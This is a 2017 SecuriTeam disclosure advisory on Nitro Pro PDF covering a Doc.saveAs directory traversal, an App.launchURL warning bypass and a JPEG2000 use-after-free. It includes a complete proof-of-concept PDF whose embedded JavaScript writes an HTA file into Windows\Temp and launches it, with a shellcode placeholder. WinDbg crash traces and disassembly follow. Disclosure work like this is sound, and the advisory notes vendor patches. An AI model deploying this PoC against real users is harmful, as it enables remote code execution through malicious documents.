SSD Advisory – Nitro Pro PDF Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3251

SSD / Maor Schwartz July 24, 2017

Vulnerabilities Summary
The following advisory describes three vulnerabilities found in Nitro / Nitro Pro PDF.

Nitro Pro is the PDF reader and editor that does everything you will ever need to do with PDF files. The powerful but snappy editor lets you change PDF documents with ease, and comes with a built-in OCR engine that can transform scanned documents into editable files. Fill up forms, annotate and sign them as part of your workflow, and easily merge multiple documents or delete selected pages as necessary.

If you use a large display or multiple monitors, NitroPDF also offers the ability to display PDF documents side-by-side so that you can pore through multiple documents. Of course, you could use AquaSnap to do that.

The vulnerabilities found in Nitro PDF are:

- Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
- App.launchURL Command Execution
- JPEG2000 npdf.dll Use-After-Free
- Forms Parsing NPForms.npp Use-After-Free
- File Parsing Count Field npdf.dll Memory Corruption
- NewWindow Launch Action NPActions.npp Command
- URI Action NPActions.npp Command Execution

This report contain the following vulnerabilities:

- Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
- App.launchURL Command Execution
- JPEG2000 npdf.dll Use-After-Free

Credit
Two independent security researchers have reported these vulnerabilities to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
The vendor has released patches to address this vulnerability. "Number of the reported vulnerabilities have been resolved and confirmed, and will included in our next release of Nitro Pro, 11.05."

For more details: https://www.gonitro.com/support/downloads#securityUpdates

Vulnerabilities Details

Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
The Doc.saveAs function does not validate either the file extension, the content of the PDF or if the path contains traversals before saving it to disk.

An attacker can leverage this to write a malicious file to the operating system in any path. This alone can be used to achieve remote code execution by writing into the users startup folder.

App.launchURL Command Execution

The App.launchURL function allows an attacker to execute commands with the privileges of the currently running user. However, a security alert or warning is typically triggered when doing so.

This can be bypassed if a $ sign is used within the path. Note that if an attacker does this, they will execute the file from the current directory, which may not be ideal for exploitation.

Also note, that the App.launchURL function does not filter for space characters such as carriage return and line feeds. This can allow an attacker to spoof the file /url being launched.

***Doc.saveAs* and *App.launchURL* Remote Code Execution Proof of Concept**

```
1   %PDF-1.7
2
3   4 0 obj
4   <<
5   /Length 0
6   >>
7   stream
8   <script>
9   // enter your shellcode here
10  WshShell = new ActiveXObject("WScript.Shell");
11  WshShell.Run("c:/windows/system32/calc.exe", 1, false);
12  </script>
13  endstream endobj
14  5 0 obj
15  <<
16  /Type /Page
17  /Parent 2 0 R
18  /Contents 4 0 R
19  >>
20  endobj
21  1 0 obj
22  <<
23  /Type /Catalog
24  /Pages 2 0 R
25  /OpenAction [ 5 0 R /Fit ]
26    /Names <<
27      /JavaScript <<
28        /Names [
29          (EmbeddedJS)
30          <<
31            /S /JavaScript
32            /JS (
33  this.saveAs('../../../../../../../../../../../../../../../../Windows/Temp/si.hta');
34  app.launchURL('c$:/../../../../../../../../../../../../../../../../Windows/Temp/si.hta');
35            )
36          >>
37        ]
38      >>
39    >>
40  >>
```

```
41 endobj
42 2 0 obj
43 <</Type/Pages/Count 1/Kids [ 5 0 R ]>>
44 endobj
45 3 0 obj
46 <<>>
47 endobj
48 xref
49 0 6
50 0000000000 65535 f
51 0000000166 00000 n
52 0000000244 00000 n
53 0000000305 00000 n
54 0000000009 00000 n
55 0000000058 00000 n
56 trailer <<
57 /Size 6
58 /Root 1 0 R
59 >>
60 startxref
61 327
62 %%EOF
```

JPEG2000 npdf.dll Use-After-Free

When parsing a malformed embedded JPEG2000 image into a PDF the process will destroy an object in memory, forcing a pointer to be reused after it has been free. The reuse functions are located in the npdf.dll.

when browsing a folder with the mutated files and attaching to the newly launched dllhost.exe, WinDbg will show:

```
1  ...
2  CNitroPDFThumbProvider::GetThumbnail - prepare device to renderCNitroPDFThumbProvider::GetThumbnail -
3  render the page(1010.1038): Access violation - code c0000005 (first chance)
4  First chance exceptions are reported before any exception handling.
5  This exception may be expected and handled.
6  npdf!CxRect2::Width+0x4f6f6:
7  000007fe`e592dd16 488b01          mov     rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????
8  ...
9
10 ...
11 000007fe`e592dd16 488b01          mov     rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????
12 000007fe`e592dd19 ff90d0000000    call    qword ptr [rax+0D0h]
   ...
```

When opening the file with Nitro PDF Reader 32 BIT, WinDbg will show ex. :

```
1  ...
2  (d7c.1210): Access violation - code c0000005 (first chance)
3  First chance exceptions are reported before any exception handling.
4  This exception may be expected and handled.
5  eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000
6  eip=4f532f32 esp=01145614 ebp=01145628 iopl=0         nv up ei pl nz na po nc
7  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
8  4f532f32 ??              ???
9  ...
```

eip is overwritten with random memory.

Disassembly of the prior call:

```
1  ...
2  68dbff59 8b4af0          mov     ecx,dword ptr [edx-10h]
3  68dbff5c 85c9            test    ecx,ecx
4  68dbff5e 7409            je      npdf!TerminateApp+0xb7d99 (68dbff69)
5  68dbff60 8b01            mov     eax,dword ptr [ecx]
6  68dbff62 ff5010          call    dword ptr [eax+10h]
7  ...
```

call stack:

```
1   ...
2   # ChildEBP RetAddr  Args to Child
3   00 01145610 68dbff65 694dc564 0133115c 01145678 0x4f532f32
4   01 01145628 691f7bab 0114567c 00000000 00000000 npdf!TerminateApp+0xb7d95
5   02 01145650 691f7a42 0114567c 03a1aa80 013311c0 npdf!CxRect2::Width+0x5220b
6   03 0114568c 691f7ab7 00000000 00000001 691ed76b npdf!CxRect2::Width+0x520a2
7   04 011456a0 6938952b 68c70000 00000000 00000001 npdf!CxRect2::Width+0x52117
8   05 011456e0 693894b2 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b8b
9   06 011456f4 77b092e0 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b12
10  07 01145714 77b29da4 69389496 68c70000 00000000 ntdll!RtlQueryEnvironmentVariable+0x241
11  08 011457b8 77b29c46 0133da3c 77b096e5 0133da40 ntdll!LdrShutdownProcess+0x141
12  09 011457cc 76ca79c5 00000000 77e8f3b0 ffffffff ntdll!RtlExitUserProcess+0x74
13  0a 011457e0 693926a6 ffffffff 01145834 69392aae kernel32!ExitProcess+0x15
14  0b 011457ec 69392aae ffffffff bf850c3a 16cf003a npdf!CxRect2::Width+0x1ecd06
15  0c 01145834 69392ad2 ffffffff 00000000 00000000 npdf!CxRect2::Width+0x1ed10e
16  0d 01145848 6916a9c7 ffffffff 690bb918 bf850c62 npdf!CxRect2::Width+0x1ed132
17  0e 0114586c 690ff453 bf850cb6 16cf003a 16cf0030 npdf!CxImage::Thumbnail+0x14907
18  0f 011458b8 690e7319 16cf003a 00000200 16cefdc0 npdf!CxImageJAS::Encode+0x5abb3
19  10 01145920 690dfc47 00000000 00000000 bf850d7a npdf!CxImageJAS::Encode+0x42a79
20  11 01145974 6907c89d 1691a5b0 00000000 bf85f4ca npdf!CxImageJAS::Encode+0x3b3a7
21  12 0114a0c4 6907da8e 0114aab4 0114ab04 bf85f556 npdf!CxImagePNG::user_write_data+0x6bc1d
22  13 0114a158 68eb0f95 0114aae4 00034627 00000000 npdf!CxImagePNG::user_write_data+0x6ce0e
23  14 0114a178 68eb1660 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88f35
24  15 0114a1d8 68eb0d1a 00000000 0404004c 0114aae4 npdf!CxImage::~CxImage+0x89600
25  16 0114aa80 68dea973 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88cba
26  17 0114ab28 68dea846 00000000 04080055 bf85ffb2 npdf!TerminateApp+0xe27a3
```

```
18 0114abbc 68dea566 00000000 04090034 bf85ffea npdf!TerminateApp+0xe2676
19 0114abe4 68d29e9b 00000000 04090034 00000002 npdf!TerminateApp+0xe2396
1a 0114ac0c 68d29952 00000000 04090034 00000002 npdf!TerminateApp+0x21ccb
1b 0114ac24 68f93f9b 00000000 04090034 00000002 npdf!TerminateApp+0x21782
1c 0114ac5c 68efe9c0 00001de2 00000ce4 000009f6 npdf!CxImage::~CxImage+0x16bf3b
1d 0114b6dc 68fa54c8 0114b77c bf85953e 061e8998 npdf!CxImage::~CxImage+0xd6960
1e 0114c130 68e3e6a6 16ba3598 00000000 00000000 npdf!CxImage::~CxImage+0x17d468
1f 0114c168 68e4133d 16c8c150 0114c1b0 16ba3438 npdf!CxImage::~CxImage+0x16646
20 0114c1a8 68e37ca2 061e8998 bf859df6 16ba3438 npdf!CxImage::~CxImage+0x192dd
21 0114c9f8 68e5b509 bf859a92 0575f818 16ba3438 npdf!CxImage::~CxImage+0xfc42
22 0114ce9c 68e5a956 0114d730 68e4016b 00000000 npdf!CxImage::~CxImage+0x334a9
23 0114cea4 68e4016b 00000000 014e4020 0114e14c npdf!CxImage::~CxImage+0x328f6
24 0114d730 68d786df 4b011fcc 0114e0fc 00000000 npdf!CxImage::~CxImage+0x1810b
25 0114dff8 68d7a771 4b011fcc 0114e0fc 00000000 npdf!TerminateApp+0x7050f
26 0114e020 014e6381 16bc08e8 0114e0f4 bc2b49e1 npdf!TerminateApp+0x725a1
27 0114e634 014eb65d 16ca1778 5b012454 0114e678 NitroPDF!CxIOFile::Write+0x92521
28 0114ee9c 73f8b443 0114eeb8 bf88cba9 16ca1778 NitroPDF!CxIOFile::Write+0x977fd
29 0114ef1c 73f9ae0c bf88cb9d 16ca1778 16ca1778 mfc120u+0x22b443
2a 0114efe0 73f9a901 0000000f 00000000 00000000 mfc120u+0x23ae0c
2b 0114f000 73f98f33 0000000f 00000000 00000000 mfc120u+0x23a901
2c 0114f070 73f99155 16ca1778 004509c0 0000000f mfc120u+0x238f33
2d 0114f090 73e97e8e 004509c0 0000000f 00000000 mfc120u+0x239155
2e 0114f0cc 76fa62fa 004509c0 0000000f 00000000 mfc120u+0x137e8e
2f 0114f0f8 76fa6d3a 73e97e5a 004509c0 0000000f USER32!gapfnScSendMessage+0x332
30 0114f170 76fa6de8 00000000 73e97e5a 004509c0 USER32!GetThreadDesktop+0xd7
31 0114f1cc 76fa6e44 02055d40 00000000 0000000f USER32!GetThreadDesktop+0x185
32 0114f208 77ae010a 0114f220 00000000 0114f274 USER32!GetThreadDesktop+0x1e1
33 0114f284 76fa788a 73e97e5a 00000000 0114f2c0 ntdll!KiUserCallbackDispatcher+0x2e
34 0114f294 73f886f2 012fa0f8 00000001 0178ef40 USER32!DispatchMessageW+0xf
35 0114f2c0 0153365e bc2b5389 ffffffff 0178ef40 mfc120u+0x2286f2
36 0114fc5c 73fabde4 00000000 00000020 00000001 NitroPDF!CxIOFile::Write+0xdf7fe
37 0114fc70 0164e72d 013e0000 00000000 012b3120 mfc120u+0x24bde4
38 0114fcbc 76ca336a 7efde000 0114fd08 77b09882
NitroPDF!CxImageJPG::CxExifInfo::process_SOFn+0x637dd
39 0114fcc8 77b09882 7efde000 741ca300 00000000 kernel32!BaseThreadInitThunk+0x12
3a 0114fd08 77b09855 0164e7ab 7efde000 ffffffff ntdll!RtlInitializeExceptionChain+0x63
3b 0114fd20 00000000 0164e7ab 7efde000 00000000 ntdll!RtlInitializeExceptionChain+0x36

...
```

---

reuse function, npdf.dll:

```
1   ;-----------------------------------------------------------------------------------------------
2   1014FF59                    L1014FF59:
3   1014FF59  8B4AF0                mov ecx,[edx-10h]
4   1014FF5C  85C9                  test ecx,ecx
5   1014FF5E  7409                  jz L1014FF69
6   1014FF60  8B01                  mov eax,[ecx]     <--- ecx -> junk
7   1014FF62  FF5010                call [eax+10h]     <--- Crash
8   1014FF65  85C0                  test eax,eax
9   1014FF67  750C                  jnz L1014FF75
10  1014FF69                    L1014FF69:
11  1014FF69  E8123D4300            call SUB_L10583C80
12  1014FF6E  8BC8                  mov ecx,eax
13  1014FF70  8B10                  mov edx,[eax]
14  1014FF72  FF5210                call [edx+10h]
15  1014FF75                    L1014FF75:
16  1014FF75  8B4D08                mov ecx,[ebp+08h]
17  1014FF78  50                  push eax
18  1014FF79  8B03                  mov eax,[ebx]
19  1014FF7B  56                  push esi
20  1014FF7C  8D0478                lea eax,[eax+edi*2]
21  1014FF7F  50                  push eax
22  1014FF80  E83BC2FFFF            call SUB_L1014C1C0
23  1014FF85  8B4508                mov eax,[ebp+08h]
24  1014FF88  5F                  pop edi
25  1014FF89  5E                  pop esi
26  1014FF8A  5B                  pop ebx
27  1014FF8B  8BE5                  mov esp,ebp
28  1014FF8D  5D                  pop ebp
29  1014FF8E  C20C00                retn 000Ch
30  ;-----------------------------------------------------------------------------------------------
```